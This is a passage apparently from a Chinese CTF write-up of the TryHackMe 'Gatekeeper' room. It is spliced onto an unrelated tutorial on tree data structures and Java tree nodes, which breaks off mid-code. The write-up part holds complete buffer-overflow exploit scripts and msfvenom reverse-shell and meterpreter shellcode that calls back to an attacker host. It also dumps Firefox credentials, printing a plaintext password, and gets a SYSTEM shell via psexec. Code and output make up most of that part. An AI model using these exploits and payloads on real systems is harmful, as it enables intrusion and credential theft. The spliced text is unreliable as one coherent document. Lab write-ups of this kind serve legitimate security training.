payload = "\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")

我们可以查看到EIP的值,此时已经变成了42424242,42在ASCII里就是大写的B,也就是我们上面的exploit.py里面retn的值,此时已证明可以覆盖到EIP。

另外,记住这里ESP的值是:004619f9

ESP.png

我们执行!mona compare -f C:\mona\gatekeeper\bytearray.bin -a 004619f9

得到一个可能的坏字节的序列:
POSSIBLY BAD CHARS:01 0a

查找坏字节2.png

执行:

!mona bytearray -b “\x00\x01\x0a”

!mona compare -f C:\mona\gatekeeper\bytearray.bin -a 004819F8

查找坏字节3.png

现在我们已经找到了所有坏字节:\x00\x01\x0a

找shellcode

!mona jmp -r esp -cpb “\x00\x01\x0a”

shellcode地址.png

有两个地址,我们选择第一个:080414c3

需要注意的是这个地址需要从后面往回写,即:\xc3\x14\x04\x08

利用msfvenom ,我们生成攻击的shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.67 LPORT=4444 EXITFUNC=thread -b “\x00\x01\x0a” -f c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
arduino复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.67 LPORT=4444 EXITFUNC=thread -b "\x00\x01\x0a" -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] =
"\xbf\x9b\xb8\x8f\xc4\xda\xcf\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
"\x52\x83\xc0\x04\x31\x78\x0e\x03\xe3\xb6\x6d\x31\xef\x2f\xf3"
"\xba\x0f\xb0\x94\x33\xea\x81\x94\x20\x7f\xb1\x24\x22\x2d\x3e"
"\xce\x66\xc5\xb5\xa2\xae\xea\x7e\x08\x89\xc5\x7f\x21\xe9\x44"
"\xfc\x38\x3e\xa6\x3d\xf3\x33\xa7\x7a\xee\xbe\xf5\xd3\x64\x6c"
"\xe9\x50\x30\xad\x82\x2b\xd4\xb5\x77\xfb\xd7\x94\x26\x77\x8e"
"\x36\xc9\x54\xba\x7e\xd1\xb9\x87\xc9\x6a\x09\x73\xc8\xba\x43"
"\x7c\x67\x83\x6b\x8f\x79\xc4\x4c\x70\x0c\x3c\xaf\x0d\x17\xfb"
"\xcd\xc9\x92\x1f\x75\x99\x05\xfb\x87\x4e\xd3\x88\x84\x3b\x97"
"\xd6\x88\xba\x74\x6d\xb4\x37\x7b\xa1\x3c\x03\x58\x65\x64\xd7"
"\xc1\x3c\xc0\xb6\xfe\x5e\xab\x67\x5b\x15\x46\x73\xd6\x74\x0f"
"\xb0\xdb\x86\xcf\xde\x6c\xf5\xfd\x41\xc7\x91\x4d\x09\xc1\x66"
"\xb1\x20\xb5\xf8\x4c\xcb\xc6\xd1\x8a\x9f\x96\x49\x3a\xa0\x7c"
"\x89\xc3\x75\xd2\xd9\x6b\x26\x93\x89\xcb\x96\x7b\xc3\xc3\xc9"
"\x9c\xec\x09\x62\x36\x17\xda\x4d\x6f\x14\x59\x26\x72\x1a\x4c"
"\xea\xfb\xfc\x04\x02\xaa\x57\xb1\xbb\xf7\x23\x20\x43\x22\x4e"
"\x62\xcf\xc1\xaf\x2d\x38\xaf\xa3\xda\xc8\xfa\x99\x4d\xd6\xd0"
"\xb5\x12\x45\xbf\x45\x5c\x76\x68\x12\x09\x48\x61\xf6\xa7\xf3"
"\xdb\xe4\x35\x65\x23\xac\xe1\x56\xaa\x2d\x67\xe2\x88\x3d\xb1"
"\xeb\x94\x69\x6d\xba\x42\xc7\xcb\x14\x25\xb1\x85\xcb\xef\x55"
"\x53\x20\x30\x23\x5c\x6d\xc6\xcb\xed\xd8\x9f\xf4\xc2\x8c\x17"
"\x8d\x3e\x2d\xd7\x44\xfb\x4d\x3a\x4c\xf6\xe5\xe3\x05\xbb\x6b"
"\x14\xf0\xf8\x95\x97\xf0\x80\x61\x87\x71\x84\x2e\x0f\x6a\xf4"
"\x3f\xfa\x8c\xab\x40\x2f";

把生成的shellcode放到我们最后一个攻击脚本exploit3.py中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
makefile复制代码import socket

ip = "192.168.3.49"
port = 31337

prefix = "OVERFLOW1 "
offset = 136
overflow = "A" * offset
retn = "\xc3\x14\x04\x08"

padding = "\x90" * 16

buf = ""
buf +="\xbf\x9b\xb8\x8f\xc4\xda\xcf\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
buf +="\x52\x83\xc0\x04\x31\x78\x0e\x03\xe3\xb6\x6d\x31\xef\x2f\xf3"
buf +="\xba\x0f\xb0\x94\x33\xea\x81\x94\x20\x7f\xb1\x24\x22\x2d\x3e"
buf +="\xce\x66\xc5\xb5\xa2\xae\xea\x7e\x08\x89\xc5\x7f\x21\xe9\x44"
buf +="\xfc\x38\x3e\xa6\x3d\xf3\x33\xa7\x7a\xee\xbe\xf5\xd3\x64\x6c"
buf +="\xe9\x50\x30\xad\x82\x2b\xd4\xb5\x77\xfb\xd7\x94\x26\x77\x8e"
buf +="\x36\xc9\x54\xba\x7e\xd1\xb9\x87\xc9\x6a\x09\x73\xc8\xba\x43"
buf +="\x7c\x67\x83\x6b\x8f\x79\xc4\x4c\x70\x0c\x3c\xaf\x0d\x17\xfb"
buf +="\xcd\xc9\x92\x1f\x75\x99\x05\xfb\x87\x4e\xd3\x88\x84\x3b\x97"
buf +="\xd6\x88\xba\x74\x6d\xb4\x37\x7b\xa1\x3c\x03\x58\x65\x64\xd7"
buf +="\xc1\x3c\xc0\xb6\xfe\x5e\xab\x67\x5b\x15\x46\x73\xd6\x74\x0f"
buf +="\xb0\xdb\x86\xcf\xde\x6c\xf5\xfd\x41\xc7\x91\x4d\x09\xc1\x66"
buf +="\xb1\x20\xb5\xf8\x4c\xcb\xc6\xd1\x8a\x9f\x96\x49\x3a\xa0\x7c"
buf +="\x89\xc3\x75\xd2\xd9\x6b\x26\x93\x89\xcb\x96\x7b\xc3\xc3\xc9"
buf +="\x9c\xec\x09\x62\x36\x17\xda\x4d\x6f\x14\x59\x26\x72\x1a\x4c"
buf +="\xea\xfb\xfc\x04\x02\xaa\x57\xb1\xbb\xf7\x23\x20\x43\x22\x4e"
buf +="\x62\xcf\xc1\xaf\x2d\x38\xaf\xa3\xda\xc8\xfa\x99\x4d\xd6\xd0"
buf +="\xb5\x12\x45\xbf\x45\x5c\x76\x68\x12\x09\x48\x61\xf6\xa7\xf3"
buf +="\xdb\xe4\x35\x65\x23\xac\xe1\x56\xaa\x2d\x67\xe2\x88\x3d\xb1"
buf +="\xeb\x94\x69\x6d\xba\x42\xc7\xcb\x14\x25\xb1\x85\xcb\xef\x55"
buf +="\x53\x20\x30\x23\x5c\x6d\xc6\xcb\xed\xd8\x9f\xf4\xc2\x8c\x17"
buf +="\x8d\x3e\x2d\xd7\x44\xfb\x4d\x3a\x4c\xf6\xe5\xe3\x05\xbb\x6b"
buf +="\x14\xf0\xf8\x95\x97\xf0\x80\x61\x87\x71\x84\x2e\x0f\x6a\xf4"
buf +="\x3f\xfa\x8c\xab\x40\x2f";

payload = buf
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")

我们先在kali另外开一个新窗口,开启监听:nc -lvp 4444

重启gatekeeper.exe,执行exploit3.py

拿到我们靶机的反弹shell:

1
2
3
4
5
6
7
8
9
10
11
12
scss复制代码──(root💀kali)-[~/tryhackme/Gatekeeper]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.3.67] from (UNKNOWN) [192.168.3.49] 49184
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Users\max\Desktop>whoami
whoami
win-mrft0tavd10\max

C:\Users\max\Desktop>

到此为止,我们在本地靶机成功验证gatekeeper.exe存在一个缓冲区溢出漏洞。

正式攻击

为了后续渗透提权方便,我们的payload换成了meterpreter

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.21.169 LPORT=4444 EXITFUNC=thread -b “\x00\x01\x0a” -f c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
arduino复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.21.169 LPORT=4444 EXITFUNC=thread -b "\x00\x01\x0a" -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 402 (iteration=0)
x86/shikata_ga_nai chosen with final size 402
Payload size: 402 bytes
Final size of c file: 1713 bytes
unsigned char buf[] =
"\xbb\xa9\xcd\x79\xdd\xdb\xdf\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
"\x5e\x31\x5f\x15\x03\x5f\x15\x83\xc7\x04\xe2\x5c\x31\x91\x52"
"\x9e\xca\x62\x0d\xaf\x18\x06\x46\x9d\xac\x4e\xbd\xaa\x9f\x5c"
"\xb5\xfe\x0b\x52\x7e\xb4\x15\x5d\x7f\xc3\x28\xb5\x4e\x13\x60"
"\xf9\xd1\xef\x7b\x2e\x32\xce\xb3\x23\x33\x17\x02\x49\xdc\xc5"
"\xc2\x3a\x70\xf9\x67\x7e\x49\xf8\xa7\xf4\xf1\x82\xc2\xcb\x86"
"\x3e\xcc\x1b\x36\x35\x86\x83\x3c\x11\x37\xb5\x91\x24\xfe\xc1"
"\x29\x6f\x30\xd5\xd9\x5b\xb9\x28\x08\x92\x7d\xeb\x7b\xd9\xd1"
"\xed\x44\xd9\xc9\x9b\xbe\x1a\x77\x9c\x04\x61\xa3\x29\x9b\xc1"
"\x20\x89\x7f\xf0\xe5\x4c\x0b\xfe\x42\x1a\x53\xe2\x55\xcf\xef"
"\x1e\xdd\xee\x3f\x97\xa5\xd4\x9b\xfc\x7e\x74\xbd\x58\xd0\x89"
"\xdd\x04\x8d\x2f\x95\xa6\xd8\x50\x56\x39\xe5\x0c\xc1\xf6\x28"
"\xaf\x11\x90\x3b\xdc\x23\x3f\x90\x4a\x08\xc8\x3e\x8c\x19\xde"
"\xc0\x42\xa1\x8e\x3e\x63\xd2\x87\x84\x37\x82\xbf\x2d\x38\x49"
"\x3f\xd1\xed\xe4\x35\x45\x04\xf4\x5c\x3c\x70\x04\x5e\x2f\xdd"
"\x81\xb8\x1f\x8d\xc1\x14\xe0\x7d\xa2\xc4\x88\x97\x2d\x3b\xa8"
"\x97\xe7\x54\x43\x78\x5e\x0d\xfc\xe1\xfb\xc5\x9d\xee\xd1\xa0"
"\x9e\x65\xd0\x55\x50\x8e\x91\x45\x85\xe9\x59\x95\x56\x9c\x59"
"\xff\x52\x36\x0d\x97\x58\x6f\x79\x38\xa2\x5a\xf9\x3e\x5c\x1b"
"\xc8\x35\x6b\x89\x74\x21\x94\x5d\x75\xb1\xc2\x37\x75\xd9\xb2"
"\x63\x26\xfc\xbc\xb9\x5a\xad\x28\x42\x0b\x02\xfa\x2a\xb1\x7d"
"\xcc\xf4\x4a\xa8\x4e\xf2\xb5\x2f\x79\x5b\xde\xcf\x39\x5b\x1e"
"\xa5\xb9\x0b\x76\x32\x95\xa4\xb6\xbb\x3c\xed\xde\x36\xd1\x5f"
"\x7e\x47\xf8\x3e\xde\x48\x0f\x9b\xd1\x33\x60\x1c\x12\xc4\x68"
"\x79\x12\xc5\x94\x7f\x2e\x10\xad\xf5\x71\xa1\x8a\x16\x6c\x0f"
"\xe7\xbe\x29\xda\x4a\xa3\xc9\x31\x88\xda\x49\xb3\x71\x19\x51"
"\xb6\x74\x65\xd5\x2b\x05\xf6\xb0\x4b\xba\xf7\x90";

把上面生成的payload复制到下面攻击脚本,把ip地址改成远程靶机地址,保存为exploit4.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
makefile复制代码import socket

ip = "10.10.97.198"
port = 31337

prefix = "OVERFLOW1 "
offset = 136
overflow = "A" * offset
retn = "\xc3\x14\x04\x08"

padding = "\x90" * 16

buf = ""
buf +="\xbb\xa9\xcd\x79\xdd\xdb\xdf\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
buf +="\x5e\x31\x5f\x15\x03\x5f\x15\x83\xc7\x04\xe2\x5c\x31\x91\x52"
buf +="\x9e\xca\x62\x0d\xaf\x18\x06\x46\x9d\xac\x4e\xbd\xaa\x9f\x5c"
buf +="\xb5\xfe\x0b\x52\x7e\xb4\x15\x5d\x7f\xc3\x28\xb5\x4e\x13\x60"
buf +="\xf9\xd1\xef\x7b\x2e\x32\xce\xb3\x23\x33\x17\x02\x49\xdc\xc5"
buf +="\xc2\x3a\x70\xf9\x67\x7e\x49\xf8\xa7\xf4\xf1\x82\xc2\xcb\x86"
buf +="\x3e\xcc\x1b\x36\x35\x86\x83\x3c\x11\x37\xb5\x91\x24\xfe\xc1"
buf +="\x29\x6f\x30\xd5\xd9\x5b\xb9\x28\x08\x92\x7d\xeb\x7b\xd9\xd1"
buf +="\xed\x44\xd9\xc9\x9b\xbe\x1a\x77\x9c\x04\x61\xa3\x29\x9b\xc1"
buf +="\x20\x89\x7f\xf0\xe5\x4c\x0b\xfe\x42\x1a\x53\xe2\x55\xcf\xef"
buf +="\x1e\xdd\xee\x3f\x97\xa5\xd4\x9b\xfc\x7e\x74\xbd\x58\xd0\x89"
buf +="\xdd\x04\x8d\x2f\x95\xa6\xd8\x50\x56\x39\xe5\x0c\xc1\xf6\x28"
buf +="\xaf\x11\x90\x3b\xdc\x23\x3f\x90\x4a\x08\xc8\x3e\x8c\x19\xde"
buf +="\xc0\x42\xa1\x8e\x3e\x63\xd2\x87\x84\x37\x82\xbf\x2d\x38\x49"
buf +="\x3f\xd1\xed\xe4\x35\x45\x04\xf4\x5c\x3c\x70\x04\x5e\x2f\xdd"
buf +="\x81\xb8\x1f\x8d\xc1\x14\xe0\x7d\xa2\xc4\x88\x97\x2d\x3b\xa8"
buf +="\x97\xe7\x54\x43\x78\x5e\x0d\xfc\xe1\xfb\xc5\x9d\xee\xd1\xa0"
buf +="\x9e\x65\xd0\x55\x50\x8e\x91\x45\x85\xe9\x59\x95\x56\x9c\x59"
buf +="\xff\x52\x36\x0d\x97\x58\x6f\x79\x38\xa2\x5a\xf9\x3e\x5c\x1b"
buf +="\xc8\x35\x6b\x89\x74\x21\x94\x5d\x75\xb1\xc2\x37\x75\xd9\xb2"
buf +="\x63\x26\xfc\xbc\xb9\x5a\xad\x28\x42\x0b\x02\xfa\x2a\xb1\x7d"
buf +="\xcc\xf4\x4a\xa8\x4e\xf2\xb5\x2f\x79\x5b\xde\xcf\x39\x5b\x1e"
buf +="\xa5\xb9\x0b\x76\x32\x95\xa4\xb6\xbb\x3c\xed\xde\x36\xd1\x5f"
buf +="\x7e\x47\xf8\x3e\xde\x48\x0f\x9b\xd1\x33\x60\x1c\x12\xc4\x68"
buf +="\x79\x12\xc5\x94\x7f\x2e\x10\xad\xf5\x71\xa1\x8a\x16\x6c\x0f"
buf +="\xe7\xbe\x29\xda\x4a\xa3\xc9\x31\x88\xda\x49\xb3\x71\x19\x51"
buf +="\xb6\x74\x65\xd5\x2b\x05\xf6\xb0\x4b\xba\xf7\x90";


payload = buf
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")

监听,执行,拿到初始shell和user.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
arduino复制代码msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.13.21.169:4444
[*] Sending stage (175174 bytes) to 10.10.97.198
[*] Meterpreter session 1 opened (10.13.21.169:4444 -> 10.10.97.198:49219) at 2021-11-24 04:18:57 -0500

meterpreter > getuid
Server username: GATEKEEPER\natbat
meterpreter > cat user.txt.txt
{逗你玩儿~}

The buffer overflow in this room is credited to Justin Steven and his
"dostackbufferoverflowgood" program. Thank you!

提权

我们使用windows/gather/enum_applications模块列出靶机安装的软件信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
yaml复制代码meterpreter > run post/windows/gather/enum_applications 

[*] Enumerating applications installed on GATEKEEPER

Installed Applications
======================

Name Version
---- -------
Amazon SSM Agent 2.3.842.0
Amazon SSM Agent 2.3.842.0
EC2ConfigService 4.9.4222.0
EC2ConfigService 4.9.4222.0
EC2ConfigService 4.9.4222.0
EC2ConfigService 4.9.4222.0
Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.20.27508 14.20.27508.1
Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.20.27508 14.20.27508.1
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.20.27508 14.20.27508.1
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.20.27508 14.20.27508.1
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.20.27508 14.20.27508
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.20.27508 14.20.27508
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.20.27508 14.20.27508
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.20.27508 14.20.27508
Mozilla Firefox 75.0 (x86 en-US) 75.0

看到靶机安装了Firefox浏览器,我们继续用post/multi/gather/firefox_creds尝试模块导出浏览器上可能的登录凭证,此模块可以枚举出firefox存储的用户信息。

1
2
3
4
5
6
7
8
9
10
11
12
bash复制代码meterpreter > run post/multi/gather/firefox_creds 

[-] Error loading USER S-1-5-21-663372427-3699997616-3390412905-1000: Hive could not be loaded, are you Admin?
[*] Checking for Firefox profile in: C:\Users\natbat\AppData\Roaming\Mozilla\

[*] Profile: C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release
[+] Downloaded cert9.db: /root/.msf4/loot/20211124083259_default_10.10.97.198_ff.ljfn812a.cert_093945.bin
[+] Downloaded cookies.sqlite: /root/.msf4/loot/20211124083301_default_10.10.97.198_ff.ljfn812a.cook_335589.bin
[+] Downloaded key4.db: /root/.msf4/loot/20211124083306_default_10.10.97.198_ff.ljfn812a.key4_584356.bin
[+] Downloaded logins.json: /root/.msf4/loot/20211124083310_default_10.10.97.198_ff.ljfn812a.logi_811634.bin

[*] Profile: C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\rajfzh3y.default

用strings命令查看最后一条含有login字样的文件:

1
2
3
ruby复制代码└─# strings /root/.msf4/loot/20211124083310_default_10.10.97.198_ff.ljfn812a.logi_811634.bin                                                                         12 ⨯

{"nextId":2,"logins":[{"id":1,"hostname":"https://creds.com","httpRealm":null,"formSubmitURL":"","usernameField":"","passwordField":"","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECL2tyAh7wW+dBAh3qoYFOWUv1g==","encryptedPassword":"MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECIcug4ROmqhOBBgUMhyan8Y8Nia4wYvo6LUSNqu1z+OT8HA=","guid":"{7ccdc063-ebe9-47ed-8989-0133460b4941}","encType":1,"timeCreated":1587502931710,"timeLastUsed":1587502931710,"timePasswordChanged":1589510625802,"timesUsed":1}],"potentiallyVulnerablePasswords":[],"dismissedBreachAlertsByLoginGUID":{},"version":3}

上面看见有加密的Username和Password

我们用这个脚本导出加密用户凭证,需要注意上面导出的文件夹要分别改成对应的文件名字

1
2
3
4
5
6
7
8
9
10
11
bash复制代码 ┌──(root💀kali)-[~/tryhackme/Gatekeeper/firefox_decrypt]
└─# mv /root/.msf4/loot/20211124083259_default_10.10.97.198_ff.ljfn812a.cert_093945.bin /root/.msf4/lootcert9.db

┌──(root💀kali)-[~/tryhackme/Gatekeeper/firefox_decrypt]
└─# mv /root/.msf4/loot/20211124083301_default_10.10.97.198_ff.ljfn812a.cook_335589.bin /root/.msf4/loot/cookies.sqlite

┌──(root💀kali)-[~/tryhackme/Gatekeeper/firefox_decrypt]
└─# mv /root/.msf4/loot/20211124083306_default_10.10.97.198_ff.ljfn812a.key4_584356.bin /root/.msf4/loot/key4.db

┌──(root💀kali)-[~/tryhackme/Gatekeeper/firefox_decrypt]
└─# mv /root/.msf4/loot/20211124083310_default_10.10.97.198_ff.ljfn812a.logi_811634.bin /root/.msf4/loot/logins.json

执行脚本,导出用户凭证

1
2
3
4
5
6
7
8
bash复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper/firefox_decrypt]
└─# python3 firefox_decrypt.py /root/.msf4/loot/
2021-11-24 09:25:29,014 - WARNING - profile.ini not found in /root/.msf4/loot/
2021-11-24 09:25:29,015 - WARNING - Continuing and assuming '/root/.msf4/loot/' is a profile location

Website: https://creds.com
Username: 'mayor'
Password: '8CL7O1N78MdrCIsV'

使用psexec.py

1
2
3
4
bash复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper]
└─# locate psexec.py
/usr/share/doc/python3-impacket/examples/psexec.py
/usr/share/set/src/fasttrack/psexec.py

登录mayor的账号,拿到root.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ini复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper]
└─# python3 /usr/share/doc/python3-impacket/examples/psexec.py mayor@10.10.97.198 1 ⨯
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.97.198.....
[*] Found writable share ADMIN$
[*] Uploading file fLGVcyVU.exe
[*] Opening SVCManager on 10.10.97.198.....
[*] Creating service lccL on 10.10.97.198.....
[*] Starting service lccL.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
c:\Users\mayor\Desktop>type c:\Users\mayor\Desktop\root.txt.txt
{逗你玩儿~}

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

数据结构—树(Tree)的入门原理以及Java实现案例 1

发表于 2021-11-24

「这是我参与11月更文挑战的第16天,活动详情查看:2021最后一次更文挑战」。

本文将详细介绍树这种数据结构的基本概念,以及通用的树的Java实现方式,为后面各种树的深入学习打好基础。

树结构和线性结构的最大的不同是,树中的节点具有明显的层级关系,并且一个节点可以对应多个节点。

1 树的概述

1.1 定义

树结构和线性结构的最大的不同是,树中的节点具有明显的层级关系,并且一个节点可以对应多个节点。树的定义如下:

树(Tree)是n(n≥0)个节点的有限集。n=0时称为空树。在任意一棵非空树中:

  1. 有且仅有一个特定的称为根(Root)的节点r;
  2. 当n>1时,其余节点可分为m(m>0)个互不相交的不为空的有限集T1、T2、……、Tm,其中每一个集本身又是一棵树,并且称为根的子树(SubTree)。

从上面树的定义可以看出使用了递归的思想,也就是在树的定义之中还用到了树的概念,根的子树节点,同时作为子树的根节点。递归思想和栈数据结构有关,可以看这篇文章:数据结构—栈(Stack)的原理以及Java实现以及后缀表达式的运算。

在这里插入图片描述

如上图,该树具有唯一根节点r,它的子树是以a、b、c为根节点的三棵树。而子树a下面还有一颗子树d。

在这里插入图片描述

从递归中我们发现,一棵树是N个节点和N−1条边的集合,其中的一个节点叫做根。存在N−1条边的结论是由下面的事实得出的,每条边都将某个节点连接到它的父亲,而除去根节点外每一个节点都有一个父亲。

1.2 节点

在这里插入图片描述

在上图中,节点r是根。节点a有一个父亲并且儿子d、e。每一个节点可以有任意多个儿子,也可能是零个儿子。没有儿子的节点称为树叶(leaf);上图中的树叶是e、f、g、h、i、j和k。

具有相同父亲的节点称为兄弟(sibling),比如a、b和c节点都是兄弟节点;用类似的方法可以定义祖父(grandfather)和孙子(grandchild)。

森林:两颗或两颗以上互不相交的树的集合。

1.3 深度和高度

在这里插入图片描述

节点的层次(Level)从根开始定义起,这里规定,根为第一层,根的孩子为第二层。若某节点在第i层,则其子树就在第i+1层。树中节点的最大层次称为树的深度(Depth)或高度,上图中,树的深度为4。

本文约定:从上往下数就是深度,从下往上数就是高度。另外由于不同的参考书对于根节点深度和高度的定义不一样,而节点的深度和高度会受到根节点的深度0还是1的影响,本文取根节点深度为1。一棵树的深度等于它的最深的树叶的深度;该深度总是等于这棵树的高度。

上图中,根节点r的深度为1,高度为4。子节点b的深度为2,高度为2。

1.4 节点的度

在这里插入图片描述

树的节点包含一个数据元素及若干指向其子树的分支。节点拥有的直接子节点数称为该节点的度(De-gree)。

度为0的节点称为叶节点(Leaf)或终端节点;度不为0的节点称为非终端节点或分支节点。

除根节点之外,分支节点也称为内部节点。树的度是树内各节点的度的最大值。上图中,因为这棵树节点的度的最大值是节点r和d的度,为3,所以树的度也为3。

1.5 有序性

无序树:树中任意节点的子节点之间没有顺序关系,这种树称为无序树,也称为自由树;有序树:树中任意节点的子节点之间有顺序关系,这种树称为有序树。

2 树的通用实现

树也可以采用顺序存储结构和链式存储结构实现。下面有三种通用的树实现的方法。后面介绍特殊的树时,比如二叉树、红黑树等它们还有自己的特殊实现方式。

2.1 父节点表示法

采用顺序存储结构来实现树,底层采用数组来存储节点。由于子节点具有唯一的父节点,因此,可以采用父节点表示法表示出一棵树的结构。

节点由数据域和父节点的索引位置组成,根节点的父节点索引为-1。

在这里插入图片描述

上图的树,使用最简单的父节点表示法可以表示为:

index(数组索引) data(数据域) parent(父节点索引)
0 r -1
1 a 0
2 b 0
3 c 0
4 d 1
5 e 1
6 f 2
7 g 3
8 h 3
9 i 4
10 j 4
11 k 4

树节点的设计可以是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
java复制代码/**
* 树节点的设计
*
* @param <E> E类型
*/
private static class TreeNode<E> {
//数据域
E e;
//父节点的索引
int parent;

public TreeNode(E e, int parent) {
this.e = e;
this.parent = parent;
}
}

这样的存储结构,我们可以根据结点的parent索引很容易找到它的双亲结点,所用的时间复杂度为O(1),直到parent为-1时,表示找到了树结点的根。但是如果要知道孩子节点是什么,那就需要遍历整个数组才行。

2.2 父子节点链表示法

为了能够直观的找到一个节点的孩子节点。在原节点中添加一个子节点链表,原节点保存子节点链表的头索引,同时节点保存着父节点的索引。这需要一种新的孩子节点。

index(数组索引) data(数据域) parent(父节点索引) child(子节点链表头索引)
0 r -1 a->b->c->null
1 a 0 d->e->null
2 b 0 f->null
3 c 0 g->h->null
4 d 1 i->j->k
5 e 1 null
6 f 2 null
7 g 3 null
8 h 3 null
9 i 4 null
10 j 4 null
11 k 4 null

树节点和子节点的设计可以为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
java复制代码/**
* 树节点的设计
*
* @param <E> E类型
*/
private static class TreeNode<E> {
//数据域
E e;
//父节点的索引
int parent;

//第一个子节点的引用
TreeNodeChild<E> firstChild;

